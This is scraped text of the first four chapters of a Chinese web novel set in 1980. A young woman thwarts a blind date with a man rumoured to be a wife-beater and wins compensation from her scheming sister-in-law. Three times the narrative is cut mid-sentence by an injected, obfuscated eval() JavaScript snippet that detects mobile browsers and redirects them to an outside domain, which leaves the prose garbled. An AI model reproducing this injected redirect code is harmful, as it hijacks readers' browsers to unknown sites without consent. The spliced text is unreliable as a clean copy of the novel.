《榕城人家[年代]》 1. 第 1 章 1980年榕城的9月,还是又闷又热。 梧桐巷的曾家正在吃早饭,稀饭配咸菜,还有一盘煎鸡蛋。 但煎鸡蛋,不是所有人都能吃的。 曾舒仪用砖块挡着门,好让风吹进家里,不然随便动动,就出一身汗。 她坐下吃饭时,她爸曾庆良在看榕城早报,连眼皮都没抬,“桌上的煎鸡蛋你别动,是给你大哥做的。他白天上班,晚上还要去夜校补习,需要补充营养。” 曾舒仪“哦”了一声,筷子却夹起煎鸡蛋,两口吃完,再配着咸菜吃稀饭。 曾庆良一直在看报纸,没注意桌上情况,眉头越皱越紧,忍不住吐槽,“现在的报纸,写的都是什么玩意?” 曾舒仪问,“写什么了?” “写中央提出三结合就业方针,什么自愿组织起来就业,还有……”曾庆良眯起眼睛才看清楚,“还有自谋职业相结合,说什么鼓励和扶持个体经济发展,这不是操蛋说法?” 哼了一声,曾庆良撇嘴道,“再好能好得过铁饭碗?” 曾舒仪心想那可不一定,他们巷子里就有人搞个体经济,本来是最穷的一家,这几天她看着王家天天买鱼买肉,日子瞬间滋润起来。 不过这话,她不会和她爸说,说了要挨骂。 “现在这些报纸,也太不专业了,越来越糊弄人!”曾庆良感叹一句,再去看三女儿,“我警告你,不要和王家小子走太近,你要是敢去干什么个体经济,我打断你的腿!” 到这会,他才瞥到桌上的盘子空了,“你这死丫头,我不是告诉你,煎鸡蛋要给你大哥留着吗?” 曾庆良抬手要打,曾舒仪早有准备地往后躲开,嘿嘿地笑了下,眼睛弯弯的,“爸,大哥天天吃,少吃一天,也不会少考两分。你看我这两个月都瘦了,夜里也睡不好,也该补充点营养。” “你不上学,不工作,要什么营养?”曾庆良脱下拖鞋,拿在手里。 曾舒仪赶忙道,“爸,我待会要去相亲呢,你要是打坏我,我就不去了哈!” “你!” 曾庆良要气死了,丢下拖鞋,指着三女儿,“我怎么会生出你这种混不吝的女儿!去去去,把家里换下来的衣服都洗了,别在我跟前碍眼!” 曾舒仪看了眼满满两桶的脏衣服,心里直摇头。 她家十口人,现在天又热,每天都会换下很多脏衣服。 她大嫂总是找各种借口不洗,全推到她和二姐身上,今天她偏偏不干了,谁让大嫂给她介绍一个那样的男人? 从曾舒仪高考落榜后,加上她二姐拖家带口回城,家里恨不得快点把她打发了。 她大嫂热切地把自家堂哥介绍给曾舒仪,说虽然是个鳏夫,还带着一个孩子,但工资很高,是五级钳工。她爸一听很有钱,立马答应下来。 曾舒仪却偷偷打听过,大嫂堂哥不是个好东西,会动手打女人。 所以她只打算走个过场。 不过有一点让曾舒仪很意外,大嫂堂哥长得非常帅,鼻梁高挺,眼睛大又亮,还是双眼皮。 看到照片时,曾舒仪都愣了下,倒不是犯花痴,而是想不明白,大嫂小眼睛塌鼻梁,怎么会有那么帅的堂哥? 曾舒仪不想给人当后妈,再帅都没用。 “你怎么还不去?”曾庆良不耐烦地催了句。 “爸,你让我去洗衣服,手一直泡水,怎么会好看?”曾舒仪举起她纤细的手指,“你不是说,我没考上大学,又没工作,只剩下年轻漂亮了。要是我把自己折腾丑了,万一那个五级钳工看不上我,怎么办?” 曾庆良再一次语噎。 家里住房紧张,家里人多,工作的却少,大儿子结婚后,儿子儿媳只交点生活费,一大家子开支还是靠曾庆良一个人的工资。 加上二女儿拖家带口回城,曾庆良对二女儿有愧,只好想着把三女儿快点嫁了。男方家里有钱,除了带个孩子,就没有不好的地方,嫁过去就能住楼房,多好的事! “你少废话,你妈今天不在家,你不洗谁洗?”曾庆良马上要去上班,没工夫在这里闲扯淡。 说话间,门开了,曾舒仪大嫂上厕所回来。 曾舒仪笑眯眯地看过去,“大嫂,妈今天出门了,二姐两口子也去找同学。爸刚问衣服谁洗,前几天都是我洗,但今天我得相亲,辛苦下你可以吧?” 王娟刚站稳,就看到小姑子笑着把木桶提过来,公公也默认了小姑子的说法,“我……” “大嫂你不洗也没事,我提去河里洗,不过衣服洗久了,这手泡成猪蹄,我是不好意思去相亲的。”曾舒仪说着叹口气。 王娟知道小姑子看不上她堂哥,但娘家那边说了,一定要把这桩婚事撮合成。 她堂哥因为打老婆问题,好多人不愿意嫁给他,前头老婆死了三年,到现在一直单着,全家上下都着急。 特别是她大伯和大伯母,私下里找到她,说只要婚事成了,会给她二十块钱谢媒礼。 二十块钱,相当于王娟大半月工资。 平常,王娟就看不上小姑子,又争又抢,明明只是个女儿,却事事要和她男人比。 也是不懂事,女儿都是要嫁人的,怎么比得过儿子? “没事,我去洗就好,舒仪你在家好好休息。”王娟咬牙挤出笑容,洗十口人的衣服别提多累,现在日头还毒辣,她只洗这一天。 王娟走后,曾庆良也去上班了。 家里只剩下曾舒仪一个人,她舒舒服服地回屋躺着听收音机,至于她大哥回来问怎么没有煎鸡蛋,她只当没听到。 收音机里也在说个体经济的事,大量知青返城,工厂和单位无法分配那么多人的工作,建议大家可以做个体经济。 不过个体经济也有局限性,不能雇工,行业选择也有限制。 曾舒仪听得入了神,家里不肯让她复读,更不会花钱给她找工作。 就算进工厂,只能当个临时工。 临时工的工资低,还难转正。干个一年,曾舒仪都难经济独立。 手里没钱,就得一直看人脸色过日子。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020872|178520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哎。”曾舒仪发愁地深吸一口气。 快中午时,王娟才洗完衣服回来。 “舒仪,你来帮忙晒下衣服,快来不及了。”王娟在院子里喊了一句,她面颊被晒得通红,胳膊又酸又胀。 曾舒仪在房间里应了一声好,人却没动,算着大嫂把衣服都晾晒完,才开门出去,“哎呀大嫂,你真能干,我只是找个鞋的时间,你全晾晒完了,我还想帮帮你来着。” 王娟:……死丫头,一定是故意的! “还有什么要我帮忙吗?”曾舒仪笑盈盈地看过去,她生得白,怎么晒都不会黑,和黄黑皮的王娟站在一起,对比实在鲜明。 王娟没好气地从曾舒仪身边走过,“没有了,我换件衣服,我们就出门。” “好嘞,我都听你的。”曾舒仪乖巧点头。 等王娟出来时,看曾舒仪的衬衣皱巴巴的,建议换一件,“去年给你做的布拉吉裙子呢,怎么不穿那个?” “不用,这样就挺好。要是再打扮,真要迟到了。”曾舒仪穿了件普通碎花衬衣,她又不期待这次相亲,没必要特意收拾。 王娟劝不动小姑子,只好作罢,“那快点走,别让人等着。” 她娘家人看过小姑子照片都很喜欢,要说他们这条巷子谁最漂亮,就属她小姑子了。明明大家都是两个眼睛一个嘴巴,偏偏曾舒仪长得格外好看,人比人,气死人。 家里自行车被曾舒仪大哥骑走,姑嫂俩走了半个小时才到国营饭店。 她们比约定的时间早十分钟,曾舒仪挑了个靠窗的位置坐下。 “舒仪,大嫂不会害你,你听大嫂的,待会对人多笑笑。” 王娟想着二十块媒人钱,语气温和不少,“我堂哥是比你大几岁,但男人年纪大更会疼人。等结了婚,他工资都给你,往后你想吃肉就买肉,更不用去上班,多好啊。” 曾舒仪看着窗外,幽幽地说了句,“大嫂,那你当初怎么不找个年纪大点的?你看我大哥,确实不太会疼人,每天顾着自己吃,也不说分你们娘俩吃煎鸡蛋。” 王娟被戳到痛处,她男人只顾着上班和读书,她一直想两个人看场电影,都没去过。 但她现在要忍着,憋着胸口的怒火,继续保持微笑,“你大哥要读书,等他考上大学,会有我享福的时候。” “这倒是,我大哥是自私一点,但他没那么多花花肠子。等着吧,等他考上大学,我也蹭蹭他的福气。”曾舒仪回头冲大嫂笑了下。 她大哥是第三次复读了,天知道能不能考上,要是一直考不上,她一定在心里鼓掌。 对上小姑子的笑容,王娟总感觉很讽刺,不等她再开口,听到熟悉的一声“小娟”,转头看到堂哥王杰,忙笑着起身,“哥你来了,快坐,这是我小姑子舒仪。舒仪,快问好。” 曾舒仪没动,因为她满头问号。 对面的男人长得肥头大耳,脸上还有暗疮,色眯眯的眼珠子一直盯着她,和照片里的帅哥完全不一样! 曾舒仪拿出照片,不给面子地问,“这是你?” 2. 第 2 章 场面顿时有些尴尬。 王杰的小眼睛转啊转,半天没想到答复,求助地去看他堂妹。 “哎,让我看看。”王娟假假地看了眼照片,哎呦一声,“拿错了拿错了,这是……是我堂哥的同事。那天我回来得急,也就没细看,刚把照片拿回家里,咱爸就抢了过去。” 她把照片往前推点,“不过舒仪你看,我堂哥和他同事,长得也没差太多嘛,你说是不?” “呵呵。” 曾舒仪要被逗笑了,照片里的人鼻子是鼻子,眼睛是眼睛。 而王杰? 鼻子像被拍过的蒜,眼睛也就绿豆那么大,不仔细看,还以为是哪家养的猪偷穿主人衣服跑出来。 王娟知道小姑子不高兴了,桌下拍拍小姑子的腿,凑过去说了句,“爸很满意的。” 哦,拿爸来压人? 曾舒仪觉得她这个大嫂,和她大哥是绝配,两个人都是典型的利我主义。 其实自私点没错,但不能祸害到她头上啊。 曾舒仪懒得搭理大嫂,放下脸来,目光往窗外看去,思索着怎么让王家兄妹吃个哑巴亏。 王娟看曾舒仪不说话,以为曾舒仪是忍住了,忙笑着介绍,“哥,我这小姑子你也看到了,长得是一顶一的好。要我说,比电影里的演员还要好看。” 王杰用力点头,看向曾舒仪时,哈喇子快流下来。曾舒仪确实漂亮,皮肤白嫩不说,眼睛大大的,睫毛扑闪扑闪地让他心痒痒。 王娟给她哥使了个眼色,示意他主动点。 “嘿嘿。”王杰冲着曾舒仪一个劲地笑,原本不紧张的,但曾舒仪太漂亮,他多少有点心虚。 这时服务员来上菜,他夹了几筷子,吃得嘴冒油光。 “那……那啥,舒仪妹子,我的情况,你大嫂肯定和你说了。我这人最大的好处,就是疼老婆,你放心,等结婚后,我肯定月月上交工资!” 王杰很激动,一开口,唾沫星子满天飞。他前妻死了三年,身边一直没个女人伺候,一直想再娶。太差的他看不上,稍微好点的又不肯嫁给他。一来二去拖到现在,他都快三十了。 王娟在一旁用力点头,眉飞色舞地介绍,“是啊舒仪,我堂哥一个月工资有小一百呢,家里住的还是楼房,有两室一厅。要说条件,是什么小年轻都比不了的,你现在年轻,目光没那么长远,真到过日子那天,才知道钱比什么都重要。” “是啊是啊。”王杰配合道。 两人对视一眼,看曾舒仪还不说话,王娟有些急了,“舒仪,你看什么呢?窗外有什么好看的?” 她也往窗外看去,有两个小摊贩在卖东西,有一个她还认识,是巷子里王家的小儿子,正在卖鱼丸,她撇嘴哼了句,“不正经的二流子,他爸想让他跟师傅出海当学徒,他倒好,干点投机倒把的事!” 王家人口多,王老爹身体还差,以前家里都靠王朝阳他妈工作养家。 后来王家几个孩子大了,陆陆续续工作成家,也没给家里改善条件,有点能力便搬出去。现在家里,只剩下王家老两口,和王朝阳这个没结婚的小儿子。 现在人,看不上做生意的人,特别是王娟和王杰这种有正式工作的。 曾舒仪和王朝阳当过同学,有段时间,两个人常一起上学放学。 有人说,王朝阳喜欢曾舒仪。 后来王朝阳被留级,两个人的学校不一样,这才分开走。 王朝阳长得还不错,清清爽爽的小伙子,以前比较白净,卖了一个月鱼丸,人黑了许多,却更精神了。 王娟见小姑子一直盯着王朝阳看,心里有点慌,拉了下小姑子胳膊,“舒仪别看了,吃菜。” “是啊舒仪妹子,快吃菜!”王杰说话时,嘴里塞着饭,一张口,饭粒喷了好几颗在菜里。 曾舒仪刚拿起的筷子又放下,这顿饭,她是吃不下了。 走之前,曾舒仪有句话不吐不快,“王大哥,你说你最疼老婆,我怎么听说,你会打老婆呢?” “咳咳!” 王杰一口饭卡在喉咙里,呛到满脸通红,“谁……谁他么乱说话?” “我听好多人都这样说。”曾舒仪道。 亲爸只想着王杰有钱,其他的都不管。曾舒仪不是个坐以待毙的人,大嫂提到王杰时,她就四处打听,拼拼凑凑出各种评价。 最终的总结,是王杰的大部分邻居都说王杰会打老婆。 “舒仪,你别听旁人瞎说。”王娟急着解释,“都是那些人捕风捉影乱说话,夫妻之间吵架拌嘴都正常,你看我和你大哥,不也会吵架吗?” “那巷子里有人说我大哥打老婆吗?”曾舒仪冷冷地扫了眼她大嫂,起身就走。 她的眼神太冷,让王娟忍不住打个寒颤。 等王娟回过神时,曾舒仪已经走出国营饭店,她拔腿追了出去。 王娟拉住曾舒仪的手,不高兴地放下脸来,“舒仪,你还有没有家教?这样甩脸色走人,你就不怕别人说你吗?” “我怕什么?是大嫂你应该害怕吧?” 曾舒仪知道大嫂不喜欢她,但没想到大嫂真会给她找个火坑跳,“我问你,照片是你拿回来的,你一眼没看,谁信呢?你是想着先骗我出来,再哄骗爸妈同意,好给我施加压力。” 顿了顿,曾舒仪冷笑道,“大嫂,你娘家许你什么好处,你才处心积虑地想把我嫁给一个会家暴的男人?” “曾舒仪!你别好心没好报!” 王娟被戳穿小心思,面颊涨红,“我能有什么好处?还不是爸妈说家里住得挤,你又到年纪了,让我们都替你相看一下。要说条件,我堂哥的工作不比其他人介绍的更好?” “那人呢?”曾舒仪问,“我听说,你堂哥老婆就是被他打死的。” “胡说八道,明明是她自己想不开要去跳……”王娟猛地停下,下意识回头看了眼。 曾舒仪只是套话,没想到还真有古怪,“要去跳什么?跳河是吗?” 看大嫂说不出话来,曾舒仪打算好人先告状,“咱爸这个人,是重男轻女,也大男子主义。但他还不至于看女儿去送死,你好好想想,回家后怎么解释吧,反正我是要去告状的。” 不再逗留,曾舒仪转身就走。 这下王娟是真的心慌了。 “小娟,你小姑子就这么走了?”王杰付了钱出来,只看到曾舒仪远远的背影,不高兴地道,“我花钱点那么多菜,她一口不吃就走。怎么,她看上照片的男人,却看不上我?” “不是的哥,我小姑子她……” “她什么她?”到嘴的美人跑了,王杰一肚子怒火,“我看这个事都怪你,说什么拿假照片把人糊弄出来,等吃完饭你先走,到时候我把她手一牵,事情就能定下来。现在你看看,人都跑了,我去牵谁的手?” 他一眼看上曾舒仪,别说身边人,就是整个机械厂,都没有比曾舒仪更俊的姑娘。 王娟现在里外不是人,心里憋着火气,怕小姑子回家告状,又怕堂哥回娘家说她不好,她心里也不好受,“哥,这……这怎么能怪我呢?” 她也想不到小姑子那么不给面子,饭都没吃完,就甩手走人。 王杰哼了哼,还不肯放弃,“是我冲动了,你别怪我,你哥我就这个性格,一直都说话直。” 他往前走近点,“我爸妈不是许了你二十块钱好处么,你回去再劝劝你小姑子,要是这桩婚事能成,我自己再给你二十块,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020873|178520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样?” 一共四十块,比王娟一个月工资还多了。 有钱能使鬼推磨,要问王娟最喜欢什么,是钱啊! “那……那我试试?” “嗯嗯,交给你了,你要是办成,我全家都感谢你。”王杰想到曾舒仪漂亮的小脸,不由笑了起来。 王娟看堂哥笑容猥琐,心想男人都好色,既然堂哥还有想法,她回去劝劝也可以。 不过今天请了半天假,饭也没吃上,王娟心思转了转,家里是公公说了算,反正离公公下班还很早,她捂着肚子道,“哥,这个点回家,应该没我的饭了。” 王杰瞬间会意,“是我不够周到,你再去点两个菜,打包回去,正好给玉玲也尝尝。” 曾玉玲是王娟的女儿,今年三岁,已经上幼儿园了。王娟疼女儿,不过还是有点遗憾,还想再生个儿子。 既然王杰这么说,王娟不客气地点了份白灼鱿鱼,还有一道荔枝肉。 王杰付钱时很肉痛,转念想到是为了抱得美人归,也就硬着头皮给钱。 曾家人多,挣钱的少,可能一个星期才吃一次荤腥。王娟一路提着油纸包,一直在咽口水。 快到巷口时,看到一群老头老太太坐在巷子口,本想炫耀下自己带回来的菜,结果他们用一种鄙夷的眼神看过来。 其中,嘴最碎的刘喜旺举着蒲扇怒斥王娟,“我说王娟,你是当大嫂的,你也住公婆家,他们都没说话,你怎么就容不下小姑子?” 有人开口,就有人附和,“是啊王娟,善有善报,恶有恶报,不带你这么欺负人的!” “我看舒仪是太好说话了,她爸偏心眼,现在二丫头带着男人孩子返城,就想把舒仪随便打发了。” “那也不至于把女儿说给杀人犯啊,曾庆良再偏心,他也干不出这个事。我看啊,是有人为了娘家给的好处挑唆!” …… 大家一人一句,说得王娟脑袋嗡嗡响。 大家都是梧桐巷里的邻居,平常低头不见抬头见,谁家有个什么事,巷子口的这些老头老太太都要拿出来说个七八遍。 不传到所有人都知道,他们不会停下。 王娟脑门绷紧,是曾舒仪,一定是这死丫头乱说话! 他们住在巷子里,名声很重要,现在他们这样挤兑自己,往后让她怎么做人? 王娟急红了眼,“刘大爷,张婶子,你们是不是误会什么,我……我对天发誓,我没有容不下舒仪。我好心好意给她介绍对象,难不成还有错?” 说着她鼻头抽抽,曾舒仪这个死丫头肯定乱说她坏话,若是不解释清楚,这些老头老太太肯定传得很难听。 刘喜旺上下瞥了眼王娟,“你那是真心介绍对象吗?如果不是我们一直追问,人舒仪还在帮你遮掩。你堂哥干出害人的事,放以前就该抓去批斗,是现在日子好了才让他逃过一劫!” “对啊,该批斗!” “对女人动手,算什么男人?” “我看他前妻,肯定是被他逼死的!” …… 老头老太太们又开始义愤填膺地指责。 王娟被劈头盖脸地骂,实在招架不住,心想这个事还得让曾舒仪出面解释,赶忙往家跑去。 曾家住在梧桐巷的巷口第一家,没两步路,王娟走到家门口。 这会家里人该上班的上班,有事的有事,只剩下家庭主妇林家珍,也就是王娟的婆婆。 王娟刚到客厅,就听到屋里传来断断续续的哭声,是曾舒仪在说话。 “妈,呜呜……如果你们真想和大嫂一起逼死我,我……我不让你们为难,我自己找处没人的地方,吊死算了。” 王娟:……死丫头又在演! 3. 第 3 章 到巷口时,曾舒仪特意和巷口的老头老太太一阵周旋。 现在回了家,看到她妈,一开始只哭,不说话。 在她妈再三追问下,才把准备好的话说了,最后便是方才王娟听到的那句。 她妈林家珍是个喜欢说“忍一忍,总能过去的”没主见中年妇女,不往最严重说,她妈意识不到真的不能忍了。 曾舒仪这会是真伤心,就算她是不受宠的中间孩子,也不至于这样蹉跎她吧? “妈,我大嫂待会回来,肯定要恶人先告状,说我没教养甩脸走人。”曾舒仪擦了眼泪,不能再哭了,伤眼睛,“你可是我亲妈,你真想看我跳火坑吗?” 林家珍摇头,“怎么会呢舒仪,我肯定想看你嫁个好人家。是不是……有什么误会,你大嫂说得那么好,总不能没一句真的?” “就是没有真话!她心狠着呢,收了娘家好处,根本不管我的死活。” 曾舒仪刚说完,门就被推开,看到是她大嫂,半点不心虚,甚至声音拔高一些,“大嫂你来得正好,你和妈说说,你为什么要害我?” 林家珍怕出丑,赶忙拉扯下女儿,“小点声,别被人听到。” “妈,我都要被人逼死了,我还怕丢人吗?”曾舒仪在很小的时候就知道,忍一忍,别人只会更得寸进尺。 就像她初中毕业时,大哥幽幽说一句“女孩子其实可以不用读那么多书”,她爸真不打算让她去上学。那会她妈也劝,让她要不算了,再读下去,也不一定有用。 曾舒仪不干。 她背着书包到她大哥工厂,找到大哥领导哭,一闹就是三天。虽然被她爸揍了一顿,但家里不得不供她上高中。 不争不抢,就会像曾舒仪二姐一样,被家里放弃去下乡,随便找个农村男人结婚,一辈子都搭进去。 “小娟……”林家珍知道女儿脾气,只能劝儿媳,她刚开口,儿媳妇就朝女儿冲了过去。 “我什么时候要逼死你了?你再乱说,我撕烂你的嘴!”王娟扑了过去,“你都和刘大爷他们乱说什么,快去给我解释清楚?” 她伸手去拽,不曾想,曾舒仪往后摔倒,头撞到了桌角。 当然,曾舒仪是故意的。 疼是真的疼,但不对自己狠,哪能达到效果? 额头很快起了个包,曾舒仪捂着额头就跑,“救命啊,我大嫂要打死我了!” 随着曾舒仪的一声吼叫,附近听到的邻居,纷纷凑到曾家门口问怎么回事。 曾舒仪跑进人群里,眼泪说掉就掉,“呜呜刘大爷,我大嫂说我乱说话,坏了她名声,要打死我。我是活不下去了,要不我拿根绳子,吊死在咱们巷子的梧桐树上好了。” 梧桐巷里有棵大梧桐树,据说上百年了,平常大家闲了,会坐在树下乘凉闲聊。 “那可不成!”刘喜旺瞬间瞪大眼睛。 其他人更是摇头,要是曾舒仪吊死在梧桐树那,谁还敢住巷子里? 虽说经过党和国家的教育,不该封建迷信,但真要吊死一个人,谁会不怕? 这些老头老太太,平日里除了带带孩子、做个饭,大多时候就在巷口或者梧桐树下东家长、西家短。 这会孩子们去上学,一个个没事做,全围在曾家门口。 他们看着曾舒仪长大,知道小姑娘要强,但这是有原因的,还不是曾庆良偏心眼,把曾舒仪逼成这样! 看王娟婆媳出来,刘喜旺第一个开口指责,“王娟,做人要有底线。我只在旧社会听说过当嫂子的卖小姑子,现在都八零年代了,你这么欺负人,别怪我们多管闲事去报警!” “是啊王娟,你看舒仪的额头,肿成这样了,你怎么下得去手?”住曾家对门的许招娣看着王娟直摇头。 “不……不是我打的!”王娟快气炸了。 “不是你打,难不成舒仪自己打自己?”刘喜旺才不信,他就住曾家隔壁,平常没少听王娟骂人,“你少糊弄我们,谁去妇联一趟,把庄超媳妇喊来。” 庄家住刘家隔壁,施英华是妇联的副主任,平常巷子里有个什么纠纷,都是先喊施英华调解。 刘喜旺一开口,立马有小孩看热闹不嫌事大跑去妇联。 林家珍看事情越闹越大,心里慌张,“刘叔,真没啥事,家里两个孩子拌嘴而已。快让二娃子回来,不用请英华。” 若是让施英华来调解,岂不是巷子里人都知道? 他们这条巷子,住的大部分是棉纺厂职工,曾庆良父子都在棉纺厂上班,要是事情传到厂里去,老爷们的面子往哪放? 林家珍费劲口舌地劝,一个劲地给女儿使眼色,曾舒仪只当作没看到。 这些老头老太太更没有要散了的意思,林家珍慌得不知道怎么办,还是王娟把婆婆拉到一边,小声让婆婆去把公公喊回来。 曾家大事小事,都是曾庆良做主。 王娟自己心虚,说不过小姑子,也骂不过那么多人。待会施英华过来,她一个人不是对手,还是得让公公出面。 林家珍没主见,安抚不了女儿,又没其他办法,赶忙跑去厂里找人。 曾舒仪知道她妈去干嘛,这也是她想达到的目的,这会不回家了,坐在巷口,挨着两个婶子坐。 她也不说话,就委委屈屈地低着头,听其他人帮她骂大嫂。 大约一小时后,一声怒吼传来,是曾庆良跑着过来。 “丢人现眼的东西,给我滚回家去!”曾庆良瞪着女儿,这会请假回来,得扣半天工资,他憋着一肚子火气,又去看边上的媳妇,“你也是个没用的东西,她是你生的,你不会打,不会骂吗?” 林家珍说不上话来,唯唯诺诺地低下头。 曾舒仪没动,“爸,惹事的又不是我,你只骂我,却不骂大嫂,你怎么对她那么好?” 这话一出,有些老头看曾庆良的眼神不一样了。 曾庆良是觉得丢人了,就算女儿不满意相亲对象,也不该闹得所有人都知道。 现在好了,被刘喜旺这些人知道,用不了两天,整个厂里的人都知道。 “少他么废话,给我滚回去,有什么事不知道在家说吗?”曾庆良道。 “我想在家说啊,是大嫂非要动手!”曾舒仪还是没动,心想庄家婶子怎么还不来? 这时王娟闻讯而来,眼泪汪汪地道,“爸,我真是要憋屈死了。我好心好意给三妹介绍对象,她却把我想成大恶人,这……这让我怎么活?” “你也给我闭嘴!”曾庆良憋了一肚子火,“屁股长脑袋的蠢货,向平怎么看上你个蠢玩意?” 王娟本来还想再哭一会,被公公凶了句,瞬间愣住。 这时二娃子带着施英华来了,她一到,刘喜旺立马跑过去,夸张地道,“庄超媳妇你可算来了,你再不来,曾家要打出人命了。我和你说啊,这个王娟心真坏,是这么一回事……” 他转述的同时,不忘给自己加点戏份。 偏偏刘喜旺年纪大,曾庆良想凶又不敢,只好掐准时机打断,“庄超媳妇,真没大事,就是两个孩子拌嘴吵架。不打扰你工作了,这点家事,我们自己可以处理。” 施英华半信半疑地看了眼曾庆良,又去看王娟她们,目光落在曾舒仪额头的大包,立马皱眉,“这叫没事吗?都打成这样了,当嫂子的怎么能这样对小姑子?” 她娘家嫂嫂也凶悍,想到自己小时候吃过嫂嫂的亏,下意识地站在曾舒仪这边,“我来都来了,去你家把事情说清楚。” 曾舒仪怯怯地说了句,“庄婶婶,谢谢你。” 看曾舒仪这样,施英华更可怜她了,拍拍曾舒仪的手,“别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020874|178520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕,有妇联在,没有人能逼你嫁人。咱们现在是新社会,婚姻自由,谁也不能逼姑娘嫁人,更不能卖女儿!” 这话是故意说给曾家人听的,曾庆良脸上臊得慌。施英华却拉着曾舒仪的手,一块进了曾家。 至于其他人,施英华没让进来,“大家伙先散了,有我在呢。” 刘喜旺最爱凑热闹,“庄超媳妇,我们相信你,但我们好歹是长辈,让我们一块听听,别让人欺负舒仪。” 施英华想了想,没再多说什么。 曾庆良看那么多人挤在门口,心里憋着火,只想速战速决,“庄超媳妇,我家真没逼舒仪嫁人,只是让她去相亲,又没说一定要她嫁。” “那我问你,照片和家暴的事,你知道吗?”施英华在妇联干半辈子,很多事都见过,见曾庆良摇头,心里松口气,还算曾庆良是个人。 她又去看王娟,见王娟眼神避开,心里清楚了,“你们是一家人,今天打,明天闹,日子哪能好过?” 曾庆良比施英华还要大好几岁,现在被施英华训,心里很不得劲,碍于门口那么多人,他只能憋着气说“是”。 王娟说不是她闹。 “那你给舒仪介绍那种男人,舒仪不高兴不是正常吗?”施英华也了解曾舒仪,小姑娘要强,去相亲发现被骗,肯定心里不舒服,“照片的事别说你不知道,这话说出来骗鬼吗?” 她直直地看着王娟,直到王娟低下头,“至于家暴的事,你知道还给舒仪介绍,那是你人品低劣。若是你不知道,也要怪你不了解清楚就给舒仪介绍。我说王娟,你也是女人,你怎么不能将心比心呢?” 王娟:“我……” “行了,你别解释了。”施英华工作多年,调解出经验来,就曾家这样的,关起门来还是要继续过日子,不然谁有本事搬出去吗? 谁都没有。 施英华去看曾庆良夫妇,“今天这事,是王娟不对,本应该回家和舒仪道歉,却还动手,应该让王娟道歉赔礼。你们没意见吧?” 林家珍去看曾庆良,曾庆良“嗯”了一声,只想事情快点结束。 施英华再去看曾舒仪,“舒仪,你说呢?” 曾舒仪等的就是这句话,她压着心中得意,小声问了句,“只是道歉吗?” “那你还想怎么样?”王娟没忍住,站起来指着曾舒仪。 曾舒仪受惊地往施英华身边靠了靠,“婶子你看到了,我大嫂又想打我。我的头好疼,你说我会不会死了啊?” 看到曾舒仪额头的大包,施英华眉头紧皱,瞪着王娟道,“你消停点吧!人舒仪还没说要什么,你就想发脾气,我看你平常就嚣张吧?” “舒仪你别怕,婶子带你去医院检查,医药费让你嫂子出!” “我还要赔偿。”曾舒仪适时加一句。 她嫂子是出了名的抠门和爱占小便宜,不借着这个事要点钱,那她白白被人算计一场,太憋屈。 付医药费,还得拿赔偿,王娟当场不干,“爸,你听听舒仪说的什么话,我都没碰到她,怎么能要我赔偿,说出去多难听?”她知道公公好面子。 曾庆良也觉得不好听,结果没等他开口,曾舒仪幽幽地说了句,“不给赔偿,我就去找大嫂领导,让她领导听听,她是怎么拿好处卖小姑子的。” 这话一出,曾庆良立马没法了,因为他知道三女儿干得出来,“小娟,要不你给她点钱。” 反正都是曾家人,钱从左口袋到右口袋,对曾庆良来说都一样。 王娟想到小姑子以前干过的事,后悔自己鬼迷心窍,为了二十块好处,招惹个惹事精。 她最近正在讨好领导,想升组长。如果曾舒仪去厂里闹,别说升组长,很可能要被骂。 再心疼钱,王娟也只能咬着牙问,“要多少?” 4. 第 4 章 要多少,肯定不能是曾舒仪开口。不然邻居们,会觉得曾舒仪闹过头。 曾舒仪去看施英华,这事施英华有经验。 施英华最痛恨欺压小姑子的人,知道曾庆良偏心,替曾舒仪多要一点,“十块吧,舒仪这个样子,最近不能做事,王娟你得拿出诚意来。” “什么十块?”王娟两口子,一个月才给公婆交十块钱生活费,一下子要她十块钱,等于要她命,“施主任,会不会太多了?” 她原想着给个一块两块就算了,十块钱,她肯定不给。 “再多,也不会比你娘家许给你的好处多。”施英华撂下一句话,放下脸来。 说到这个,王娟更是有苦说不清,堂哥家是许诺了好处,但她还没拿到手。 看着门口挤的老头老太太,王娟放低音量,“主任,少点吧,十块钱太多了,我还得给这死丫……给舒仪出医药费呢。” 施英华去看曾舒仪,见曾舒仪低头没说话,知道曾舒仪的态度后,坚持要十块,“事情是你自己做的,不给也是你的事,往后巷子里的人怎么说你,都别到我这里哭。” 给了赔偿,又道歉,这个事就算结束,要是有人再说三道四,王娟还可以找施英华出面。但是不听她的调解,以后有什么事,她就不管了。 巷子里的住户都是普通人,施英华在巷子里很有威信,不然也不会派人请她。 